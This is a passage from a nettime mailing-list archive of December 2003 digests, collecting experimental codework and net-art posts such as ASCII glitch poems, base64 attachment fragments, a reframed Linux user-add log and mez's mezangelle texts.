dead.on.a.[pond.]camera.stilled.corner\n>birdsong.signal.respon.d[anc]ing.\n>lotus[eaters].positioning + hall.ucination.draw[l]ing\n>\n>>Then back to bed.\n>\n>2bed:\n>\n>[dawn.seepage+friend.meniscus.(dream)peaking]\n>\n>\n>>First I check e-mail.\n>\n>last2:\n>\n>infotrawl\n>         .\n><<insert>>\n>         .\n>\n>[trama \n>tale_tell::hair.long+breath.short::goatee.ing.whilst.mouth.dreaming::boy.scars+tales.in.the.urban.myth.making::drive>N>smash::gravity.shift.while.sight.x.tended.thru.new.holed.eyelid::dying.revamped.thru.a.techne.filter::cop.screaming+[chopper]blade.rescuing::pick_up.retell.]\n>\n>>Though.\n>>\n>>I see the network survives.\n>\n>surly.vival.\n\n- pro][rating][.lucid.tones\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_poly.phonic.ring[tones]\n\n\n\nDate:         Mon, 8 Dec 2003 17:36:28 +0100\nFrom: Klas Oldanburg <noemata {AT} KUNST.NO>\nSubject: filename=\"Chat_rieur.pps\"\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nfilename=\"Chat_rieur.pps\"\n\nICQ ARCAINA\n\nHi\nSERATGC\nPklxeX\nAsia\nAQEA\nygg\nufo\nQAtREA\n\n\n0M8R4KGxGEAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAFAAAADgIAAAAAAAAA\nEAAAEAIAAEAAAD+////AAAYCAAAXAgAAGAIAABkCAAAPAA////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////+g\nRh3wO2QAAZvP+cnysRb4sA+bl4b//9j/4AAQSkZJRgABEAYABgAAD/2wBDABALDA4MChAO\nDQ4SERATGgaGBYWGDEjJR0M9PDkzODdASFxOQERXRTc41RV19iZ2hnPk1xeXBkeFxlZ2P/\n2wBDARESEgVGC8aGi9jQjhNjY2NjY2NjY2NjY2NjY2NjNjY2NjY2NjY2NjY2NjY2NjY2Nj\nY2NjY2NjYNjY2P/wAARCAIADASIAAhEBAxEB/8QAHwAAUBAQEBAQEAAAAAAAAAAAECAwQF\nBgcICQoL/QAtRAAAgEDAwIUFBAQAAAF9AQIDAAQRBRIhEGE1FhByJxFDKBkaEII0KxwRVS\n0fAkM2JygkKFhcYGRolJico0NTY3ODk6Q0RFRkdISUpTVWV1hZWmNkZWZnaGlqc3R1dnd4\neXqDhIWGhiJipKTlJWWl5iKjpKWmp6ipqrKztLW2t7i5LDxMXGx8jJytLT1NXW19jZ2uHi\n4+Tl5ufo6rx8vP09fb3+PnQAHwEAAwEBAQEBAQEBAQAAAAAAECAwQFBgcICQoL/8QAtREA\n\nISBN 82-92428-08-9\n\n\n\nDate:         Thu, 18 Dec 2003 13:55:02 -0800\nFrom: \"achit!quasimodoyokai+qmul(e)\" <solipsis {AT} HEVANET.COM>\nSubject: Free Art Shares\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n\n\n\n\n3 'True' PRTSCN desktopcollages.\n\nclausebarbi.jpg=20\ngrandragon.jpg=20\nkillyourchildren.jpg\n\n\n\n\n\nDate:         Fri, 19 Dec 2003 03:09:55 +0100\nFrom: Ars Publica <noemata {AT} KUNST.NO>\nSubject: Re: Free Art Shares\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nie priceless\nPRTSCLENSSclashes.\nGk dr\u0441k?n kind of serpent, prob. orig. epithet, the (sharp-)sighted one,\nakin to d\u0449rkesthai to look\n\n\n> 3 'True' PRTSCN desktopcollages.\n\n  clausebarbi.jpg\n  grandragon.jpg\n  killyourchildren.jpg\n\nD trouw, G treu, ON tryggr, Goth triggws\n\n\n\nDate:         Thu, 11 Dec 2003 14:10:56 +0100\nFrom: klaus oldanborg <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nXX\n\nXX XXXX XXXXXX XXXXXX XX XXXX XXXXXXX XXXXXX XXXXX XXXX XXXXXXX XXX XXX\nXXX?\n\nXX XXXX XXXXX XXX X XXX X XXXXXX XXXXX XXXXXXXXXX XX XXXXXX XXXXX XXXX\nXX XXX XX XXXXXXXXX XXXXX XX XXXXXXXXXXXX X XX XXXXX 'XXX XXXXXXX XX\nXXX' X XXXX XXXXXX XXXX XXXXX XXXX XXXX XXXX?\n\nXXXX XXXXXX XX XXX\nXXXXX XXXX\n\n\n\n\nXXXXX XXXX\nXXXXXXXXXXXXXXXXXXXXXXXX\n\nXXX XXXXXXXXXXXXXXX XXXXXXX X XXX XXX XX X XXXX X\nXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n\nXX XXXXX XXXXXX\nXXXX\nXXXXXX XXX XXX\n\n\n\n\n\nnettime unstable digest vol 77\nSat Dec 27 19:40:04 2003\n\n\nSubject: BOOLEAN BALE BEAD\n    From: mIEKAL aND <dtv {AT} MWT.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: hangman nikuko by extension\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Making provision for concert\n    From: \"achit!quasimodoyokai+qmul(e)\" <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Translation\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: contact\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: filename=\"Chat_rieur.pps\"\n    From: Klas Oldanburg <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: the mess of reinsertion\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: =?iso-8859-1?Q?=D8=D8=D8sowO=F8or=D8?=\n    From: Klas Oldanburg <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Fwd: Re: Six O'Clock//pick_up.retell\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: filename=\"Chat_rieur.pps\"\n    From: Klas Oldanburg <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Free Art Shares\n    From: \"achit!quasimodoyokai+qmul(e)\" <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: Free Art Shares\n    From: Ars Publica <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n    From: klaus oldanborg <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 27 Dec 2003 19:40:21 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200312271935.hBRJZKZ32146 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0312/msg00073.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 77"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00061",
                "content": "\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: GDE#23\nDate: Sat, 15 Nov 2003 21:28:19 +0200\n\n\n:s]p_ten+uu+net_p]s:\n|o/us [c.o+m+m[ss[m+m+o.c[ su/o|\np]a-t=iallai=t-a]p\n ne te\\n|u-oo-u|n\\et en .\nu]s +i[a-l/ .n|et| /tt-t:c+oo+c:t-tt/ |te|n. /l-a[i+ s]u\nap:ati+a\\l:  :l\\a+ita:pa\nc.ou_s :c+ +m+uTaaTu+m+ +c: s_uo.c\n-nt:e[n/u-o)u:ss:u)o-u/n[e:tn-\n c\\o+m[mt_t:e+n.u+o+uU:tt:Uu+o+u.n+e:t_tm[m+o\\c \n+an=t|t. t-e+n:uo_uu_ou:n+e-t .t|t=na+\ns _cooc_ s.\nm+m[a( \\m=uu=m\\ (a[m+m\n:t/a:nt_ c:o/muum/o:c _tn:a/t:\n]s+ c_om+ou_ss_uo+mo_c +s]\n/ cti/ao[m m\\u[t.a=nttn=a.t[u\\m m[oa/itc /\no.u+s )c/om-ma m/uttu/m am-mo/c) s+u.o\n                                  o.u+s )c/om-ma m/uttu/m am-mo/c) s+u.o\n                              / cti/ao[m m\\u[t.a=nttn=a.t[u\\m m[oa/itc /\n                                              ]s+ c_om+ou_ss_uo+mo_c +s]\n                                          :t/a:nt_ c:o/muum/o:c _tn:a/t:\n                                                  m+m[a( \\m=uu=m\\ (a[m+m\n                                                            .s _cooc_ s.\n                                  +an=t|t. t-e+n:uo_uu_ou:n+e-t .t|t=na+\n                         c\\o+m[mt_t:e+n.u+o+uU:tt:Uu+o+u.n+e:t_tm[m+o\\c \n                                          -nt:e[n/u-o)u:ss:u)o-u/n[e:tn-\n                                      c.ou_s :c+ +m+uTaaTu+m+ +c: s_uo.c\n                                                ap:ati+a\\l:  :l\\a+ita:pa\n                u]s +i[a-l/ .n|et| /tt-t:c+oo+c:t-tt/ |te|n. /l-a[i+ s]u\n                                              . ne te\\n|u-oo-u|n\\et en .\n                                                      p]a-t=iallai=t-a]p\n                                        |o/us [c.o+m+m[ss[m+m+o.c[ su/o|\n                                                    :s]p_ten+uu+net_p]s:\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: HUB <hub {AT} x-arn.org>\nSubject: ASRF/0.2\nDate: 2 Sep 2003 04:41:16 -0000\n\n\ndWViZWMNCmFydGlzdHM8L2Rpdj4NCjxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7  dj4yLiBGY\nWRvIHVwZGF0ZTwvZGl2Pg0KPGRpdj4zLiBDQUxMIEZPUiBFTlRS  dXJjaDwvZGl2Pg0KPG\nRpdj41LiBDQUxMIEZPUiBQRVJGT1JNQU5DRSBBUlQg  dj4NCjxkaXY+Jm5ic3A7Jm5ic3A\n7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7  dHMgUEFTIERFIFRSQURVQ1RJT04sIGZlYXR1\ncmluZyA1IFF1ZWJlYw0KYXJ0  dj4NCjxkaXY+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxiP\nlBBUyBERSBUUkFE  d2VyayBHYWxsZXJ5LCA2MjBBIFF1ZWVuIFN0LiBXLjxicj4NClJvdW\n5kIFRh  dGFuY2Ugb2YNCmFsbCBvZiB0aGUgYWN0aXZpdGllcykuIE9uIFN1bmRheSwg  d\nXNlcyBvbiB0aGUNCndheXMgaW50ZXJhY3Rpb24gYmV0d2VlbiBwZXJmb3Jt  dW90Oykgcm\nVmZXJzDQpsaWdodC1oZWFydGVkbHkgdG8gdGhlIHRyYWRpdGlv  dHJhbnNsYXRlZCwgYW5\nkIHdoYXQgd2UgcmVmdXNlIHRvDQp0cmFuc2xhdGUs  dHJlYWwuIE92ZXIgdGhlDQpwYXN0\nIGRlY2FkZSwgc2hlIGhhcyBkZXZlbG9w  dGFuemEgQ2FtZWxvPGJyPg0KPC9iPk9yaWdpb\nmFsbHkgZnJvbSBDb2x1bWJp  dWx0aWRpc2NpcGxpbmFyeSBhcnRpc3QgbGl2aW5nIGFuZC\nB3b3JraW5nIGlu  dCBvciBvdGhlcg0KcHVibGljIHNwYWNlcywgaW5jbHVkaW5nIGdhbGx\nlcmll  dGhvciBvZiBuYXJyYXRpdmUgdGV4dHMgYW5kIGNyaXRpY2FsIGFydGljbGVz  dG\nggRGlhbmUgTGFuZHJ5IGFuZCBCcnVpdCBUVFYpIGFydCBwcmFjdGljZSBp  d29ya3MgYXM\ngYW4gaW5kZXBlbmRlbnQgY3VyYXRvci48L2ZvbnQ+PGJyPg0K  dWx0IG9mIHNpZ25pZmlj\nYW50IGZ1bmRpbmcgaW5jcmVhc2VzIGZyb20gdGhl  dGlvbiBmb3IgdGhlIDIwMDMtMDQgZ\nmlzY2FsIHllYXIgLS0gdGhlIGZpcnN0  dml0YWwgY29udHJpYnV0aW9uIHRoYXQgaXMgYm\nVpbmcgcmVjb2duaXplZC48  dmVudCB3aWxsIGJlIEZJVkUgSE9MRVM6IHJlbWluaVNDRU5\nULCBhIHNlcmll  dGFraW5nIHBsYWNlIGluIFNlcHRlbWJlcg0KY28tY3VyYXRlZCBieSBQ\nYXVs  dGF5DQp0dW5lZCBmb3IgZGV0YWlscy48L2Rpdj4NCjxkaXY+PGJyPjwvZGl2  dSw\ngRmlubGFuZC4gSGUgd2lsbCBiZSBkb2luZyBhIHRocmVlLW1vbnRoIHdv  dWRlIGFzc2lz\ndGluZyB3aXRoIHBlcmZvcm1hbmNlIGV2ZW50cyBhbmQgd29y  dmluZyBsaXZlZCBpbiBCd\nXJuYWJ5LCBCLkMuIGZvciB0d28geWVhcnMgYXMg  dGFjdCBGYWRvIGFuZCBsZXQgdXMga2\n5vdywgZWl0aGVyIGJ5IHBob25lICg0  dCBhcyB0aGUgRmVzdGl2YWwgQW5pbWF0b3IgZm9\nyIHRoZQ0KVmlzdWFsRXll  dSBjYW4gY2hlY2sgb3V0DQpoaXMgZGFpbHkgb25saW5lIHJl\ncG9ydHMgb2Z0  dGhpbiB0aGUgYXJ0aXN0J3Mgb3duIHRpbWUtc3BhY2UgLSBpLmUuIGJ5I\nG1h  dWRpZW5jZXMgd2hvIGFyZSBub3QgcGh5c2ljYWxseSBwcmVzZW50IC0gYnV0  dmlk\ndWFsIGFuZCBoaXMgbGlmZSB3YXMNCmZpcnN0IGxhaWQgYmFyZSBhbmQg  dGlvbjwvZGl2P\ng0KPGRpdj48YnI+PC9kaXY+DQo8ZGl2PlBFUkZPUk1BTkNF  dGlvbiBpbiBEYXJ0aW5ndG\n9uIEFydCBHYWxsZXJ5LA0KM3JkLTV0aCBPY3Rv  dGggQVVHVVNUIDIwMDM8YnI+DQo8L2R\npdj4NCjxkaXY+QWxsIHBhcnRpY2lw  dGlvbiBvZg0KdGhlIGV2ZW50LjwvZGl2Pg0KPGRp\ndj4mbmJzcDs8L2Rpdj4N  dj4NCjxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IERlY\nWRsaW5lOiBT  dW90OyBpbiBhIGJyb2FkZXINCnNlbnNlLCBhczxicj4NCkpvaG4gQ2FnZS\nBz  dGF0ZWQuICZxdW90O0NvYWxpdGlvbiZxdW90OyB3aWxsIGV4cGFuZCB0aGlz  dXNlc\nyBpbjxicj4NCmJldHdlZW4gcGVyZm9ybWFuY2VzLiBBIHNwZWNpYWwg  dXNlZC48YnI+DQ\notIFBlcmZvcm1hbmNlIHRpdGxlLjxicj4NCi0gUGVyZm9y  dGhlIGF1ZGlvIGFuZCBwZXJ\nmb3JtYW5jZSBhcnRpc3Q7IG5vIGxvbmdlciB0  dGhlciBhdHRhY2htZW50IHdpdGhvdXQg\ncHJpb3IgYWdyZWVtZW50LiBPbmx5  dSBuZWVkIHRoZW0gcmV0dXJuZWQsIHBsZWFzZSBjb\n250YWN0IHVzIGluIGFk  dmFuY2UsDQp0bzxicj4NCmFycmFuZ2UgdGhpcyBhcyBhIHBhcn\nRpY3VsYXIg  d2F5OiBpZiBzb21lYm9keSBoYXMgcmVjZW50bHkgc2VlbiBvciB0YWxrIHR\nv  dW90Ow0KUGVyZm9ybWFuY2UgUmVzZWFyY2ggOToyIChVSyk8L2Rpdj4NCjxk  dCwgZG\nVzaWduZXIsIGFuZA0KY28tZm91bmRlciBvZiBEZU1vIERlc2lnbiwg  dHJpYnV0aW9ucyB\nmcm9tIHByYWN0aXRpb25lcnMgYW5kDQpzY2hvbGFycyB3  dWJzdGFuY2Ugb2YgdGhlIHBh\nZ2U7IHRoZXNlIG1heSBvZmZlciBoaXN0b3Jp  dWxkIGJlIGluIHRoZSBmb3JtIG9mJm5ic\n3A7IGNvbnZlbnRpb25hbCwgbGlu  dW5kcnkgb2YgcGVyZm9ybWFuY2UsIGluY2x1ZGluZw\n0Kc2NyaXB0d3JpdGVy  dHMuIFdlIGFyZSBhbHNvDQppbnRlcmVzdGVkIGluIGNvbm5lY3R\npb25zIHRv  dm9uIFRROSA3UkQgVUs8YnI+DQombmJzcDt0ZWwuIDAwNDQgMTgwMyA4NjE2\n  dGhlIGV4Y2x1c2l2ZSByaWdodHMgdG8gcmVwcm9kdWNlIGFuZCBkaXN0cmli  dXRlIHR\noZSBhcnRpY2xlDQpoYXZlPGJyPg0KYmVlbiBnaXZlbiB0byBQZXJm  dy5wZXJmb3JtYW5j\nZS1yZXNlYXJjaC5uZXQ8L2Rpdj4NCjxkaXY+PGJyPjwv  dGU6IEludGVycm9nYXRlOjwvZ\nGl2Pg0KPGRpdj4xNSB0byAxOCBKdW5lIFNp  dGVlIG9mIFBlcmZvcm1hbmNlIFN0dWRpZX\nMgaW50ZXJuYXRpb25hbCAjMTA8  dCBvZiBQZXJmb3JtYW5jZSBTdHVkaWVzIGF0IE5ldyB\nZb3JrIFVuaXZlcnNp  dHkgaW4gMTk5NS4NCkluPGJyPg0KaXRzIG5pbmUgeWVhcnMgb2Yg\nZXhpc3Rl  dWRpZXMgaGFzIHJlc3VsdGVkDQppbjxicj4NCnRoZSBmb3JtYXRpb24gb2Yg \n dGVzLCBXYWxlcywgYW5kIEdlcm1hbnkuIFBTaSAjOQ0Kd2FzPGJyPg0KaGVs  dCBzdGF0\nZSBvZiBwZXJmb3JtYW5jZSBkaXNjb3Vyc2UgaW4gQXNpYSw8YnI+  dW90OyAtIGFzIG5ld\nyBsb2NhbCBhdXRoZW50aWNpdGllcw0KZm9yPC9kaXY+  dGVycyBvZiBhIHNpbmdsZSBjb2\n5mZXJlbmNlLCBvdXIgcHVycG9zZSBpcyB0  dGUnDQpmaWd1cmVzPGJyPg0KY2VudHJhbGx\n5IGluIG11Y2ggb2YgcGVyZm9y  dWdob3V0IHRoZSBjb25mZXJlbmNlLA0Kd2l0aDwvZGl2\nPg0KPGRpdj5yZWdp  dXNzaW9uDQphcm91bmQ8YnI+DQpzcGVjaWZpYyBzaGFyZWQgY29uY\n2VybnMs  dCB0byB5b3VyIHByb3Bvc2FsLjxicj4NCjxicj4NCk5hbWU6PGJyPg0KVGl0  \ndXJlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw  d291bGQgb\nGlrZSB0byBzdWJtaXQgYSBwcm9wb3NhbCBmb3IgYQ0KcGFuZWwg  d2luZyBhcmUgcHJvcG\n9zZWQgSW50ZXJlc3QgR3JvdXBzLiBUbyBoZWxwIHVz  dGhlIFNlbnNvcml1bTxicj4NCl9\nfXyAoMTUpIEdlbmRlciAmYW1wOyBTZXh1  dHMNCkNvdW5jaWwgYW5kIHRoZSBEZXBhcnRt\nZW50IG9mIENhbmFkaWFuIEhl  dGggd2l0aCBpbmZvcm1hdGlvbiBvZg0KaW50ZXJlc3Qgd\nG88L2Rpdj4NCjxk  d2Vic2l0ZSAtIGh0dHA6Ly93d3cucGVyZm9ybWFuY2VhcnQuY2E8Yn\nI+DQo8  dCBzcGlyaXR1YWwsIHJlbGlnaW91cywgcG9saXRpY2FsLCBwZXJzb25hbCwN  s\neront accessibles aux stagiaires en-dehors des heures de cours.  \n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR V0.2 beta\nGenerated by : sense-sea-MegaSub-1-170.oz.net \nDate: 2003-09-02 06:41:16 \nPowered By: http://x-arn.org/hub/osm/ \n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: \"][m.e.z(y.gote)]\" <netwurker {AT} hotkey.net.au>\nSubject: <<Stretch Inline + Code Demaractions Indicate Entry Status>>\nDate: Sun, 30 Nov 2003 10:07:36 +1100\n\n\n\n\n<<Stretch Inline + Code Demaractions Indicate Entry Status>>\n::low jacking into the future [read:fighter_tours]\n<<Pop_Illusions looped + indicative of musicalities>\n<<this version is Hip N pro-jacketed beyond the usual>>\n::poesis containment_lines\n::tech mammon\n<<Evidence of protracted bible-belt_white-trash_filter \nmythologies||methodologies>>\n::and TecK MarroW vs\n::complications of the biological.\n::complications of hewn male states.\n::complications of the holographically [newschool] defined.\n\n#run line error#\n#there is no way#\n#to enable sequencing#\n#(Regulation Express = key)#\n#of the following#\n\n\n--\nHOLOLOGICAL\n--\n\n\n<<Determination of factors>>\n  --dial-in + up.\n  --explanations of desire. smell echos + trollline affectivity\n\n\n\n\n- pro][rating][.lucid.tones\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_poly.phonic.ring[tones]  \n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  <<Stretch Inline + Code Demaractions Indicate\nDate: Fri, 05 Dec 2003 21:45:00 +0100\n\nAt 10:07 30/11/03 +1100, ][m.e.z(y.gote)] redet:\n\n\n\n><<Stretch Inline + Code Demaractions Indicate Entry Status>>\n\n<<thicatecK Marror#\n\n<<Stres||melt_lity\n\n<<Strotrol] de stained thers>\n\n-\n-\n--expl/pr_r/d/sirtd + C.dw.nmey [rck#]\n--\n--dct_rs/mar.tur/Ind + try <#tc KM_rph> dencd\n-\n\n#trch Inl.calintres||m.nb-le-be-lgr/te-by.nm/ce.st\n-\n<<Pop_suaited.d(l-by)#\ncnew[l][i]n[t]_w_ling#\n\n#to the smt_luc/sy [tress/hersIo/Str/hp.]\n-\ncnpd [Tcil] dnop-fcec mtescia>>\n\n<<E[ii]ds|ecn_eil-e|mti/oe M_i_ot/hr>\n\n\n<<Demal.\n-\n\n- pre [ml_ig][rs_ih_mn] nscl/vt-ad.#tor#\n\n--d.i.aucid.\n--\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------neu.PTRz:\nhttp://www.furtherfield.org/displayreview.php?review_id=56\nhttp://socialfiction.org/scrabble/OQdn.htm\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: GDE#24\nDate: Sun, 16 Nov 2003 21:31:20 +0200\n\n\n   _=_|     Yopi|pl[i/n\\ cryst_l acUu[m_o]/:\n   _=_|                     /.a\n   _=_|                  inn=Lc\n   _=_|             ryst.lva/uu..yOpi:p\n   _=_|             lai[n\n   _=_|     I]crys. l]:cuummy=p/cpl-inNilcryst\n   _=_|             \\l:=+\n   _=_|     uumm:o [==lai-.)-cr]stA.\n   _=_|                     ].cu_\n   _=_|             Mmyopic.lainn lc/ys  lvA.u .myo\n   _=_|             pic\n   _=_|                     ]+ai n[lcr|+Ta=v[C/um:Yop_cp|ainn:lcr[s\n   _=_|                     t=lv\n   _=_|             acuummy [icp]ai- I/c+ysta\\vacu\n   _=_|                     u+m\n   _=_|     y.Pi\\p /innil-r\\s=- vac+.\n   _=_|             _M]\n   _=_|             -_i_pl/iNnilcr/st=l:a__ummy=]= P(a++ni \n   _=_|             / y\n   _=_|     +:alvac ummyo|_\n   _=_|     cp:+ .nilcr=st.+ acu mmy\n   _=_|                         O.ic\n   _=_|                       \\+]nilcr:/=al+ac\n   _=_|                                    uum\n   _=_|             My[p/cplain=ilcryS++lvac][m:]op-\n   _=_|                                          cpl\n   _=_|      in+i |rys:a/_acuu mYO(icp\\ai  iL-r)\\ta:v\n   _=_|             a/uu\n   _=_|     M_yo[iCpl+i+++l[rystALvacuummyo\n   _=_|             [ic \n   _=_|     :ai.n= crystal \n   _=_|                     acu]:=y[picpla|]ni_c yst| v c\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: my new friends\nDate: Sat, 6 Dec 2003 17:52:03 -0500 (EST)\n\n\n\n my new friends\n\n  6 04:29:24 [201]:  name=rpm, gid=37\n 6 04:29:25 [202]:  name=rpm, age=37, gid=37,\n  6 04:29:29 [210]:  name=floppy, gid=19\n  6 04:29:29 [211]:  name=vcsa, gid=69\n 6 04:29:29 [211]:  name=vcsa, age=69, gid=69,\n  6 04:30:14 [254]:  name=utmp, gid=22\n  6 04:31:50 [572]:  name=nscd, gid=28\n 6 04:31:50 [572]:  name=nscd, age=28, gid=28,\n  6 04:32:57 [589]:  name=slocate, gid=21\n  6 04:33:08 [594]:  name=sshd, gid=74\n 6 04:33:08 [594]:  name=sshd, age=74, gid=74,\n  6 04:33:09 [599]:  name=rpc, gid=32\n 6 04:33:09 [600]:  name=rpc, age=32, gid=32,\n  6 04:33:09 [602]:  name=rpcuser, gid=29\n 6 04:33:09 [602]:  name=rpcuser, age=29, gid=29,\n  6 04:33:10 [606]:  name=nfsnobody, gid=65534\n 6 04:33:10 [606]:  name=nfsnobody, age=65534,\n  6 04:33:13 [611]:  name=mailnull, gid=47\n 6 04:33:13 [611]:  name=mailnull, age=47, gid=47,\n  6 04:33:13 [612]:  name=smmsp, gid=51\n 6 04:33:13 [612]:  name=smmsp, age=51, gid=51,\n 6 04:33:21 [632]:  name=pcap, gid=77\n 6 04:33:21 [633]:  name=pcap, age=77, gid=77,\n  6 04:35:34 [1164]:  name=xfs, gid=43\n 6 04:35:34 [1164]:  name=xfs, age=43, gid=43,\n  6 04:37:20 [1249]:  name=ntp, gid=38\n 6 04:37:20 [1250]:  name=ntp, age=38, gid=38,\n  6 04:48:23 [1641]:  name=gdm, gid=42\n 6 04:48:23 [1641]:  name=gdm, age=42, gid=42,\n  6 04:54:08 [2004]:  name=canna, gid=39\n 6 04:54:08 [2004]:  name=canna, age=39, gid=39,\n  6 04:58:26 adduser[2100]:  name=desktop, gid=80\n 6 04:58:26 adduser[2100]:  name=desktop, age=80, gid=80,\n\n surely you will gain greater delight knowing these people are in my\n linux box if i am good they will do whatever i want if i am bad they\n will do whatever they want\n\n\n _\n\n\nFrom: m {AT} 1010.co.uk\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: iraa aa n^\nDate: Sun, 16 Nov 2003 01:03:38 +0000\n\niraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Fapecira a aa n^Fapeciraa aa n^Ff white white apeciraa aa\nn^Fapeciraa a a\n n^Fapeciraa aa\nn^Fapeciraa aa n^Ff white white apeciraa aa n ^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white ap eciraa aa\nn^Fapec\niraa aa n^Ff white\nwhite apeciraa aa n^Fapeci raa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Fapeciraa\naa n^Fa\npeciraa aa n^Ff white\nwhi te apeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Fapeciraa\naa n^Fa\npec iraa aa n^Ff white\nwhite apeciraa aa n^Fapeciraa aa n^Fapecira a aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa a a\nn^Fapeciraa aa n^F\napeciraa aa n^Ff white\nwhite apeciraa aa n ^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white ap eciraa aa n^Fapeciraa aa\nn^Fapeciraa aa n^F\napeciraa aa n^Ff whit e\nwhite apeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Ff white\nwhi te\napeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Fapeciraa aa\nn^Fapec ira\na aa n^Ff white white\napeciraa aa n^Fapeciraa aa n^Fapecira a aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa a a n^Fapeciraa aa\nn^Fapecir\naa aa n^Ff white white\napeciraa aa n ^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white ap eciraa aa n^Fapeciraa aa n^Fapeciraa aa\nn^Fapecir\naa aa n^Ff whit e white\napeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Fapeciraa aa\nn^Fapeciraa\n aa n^Ff white white\napeciraa aa n^Fapeciraa aa n^Fa peciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapec iraa aa n^Ff white white\napeciraa aa 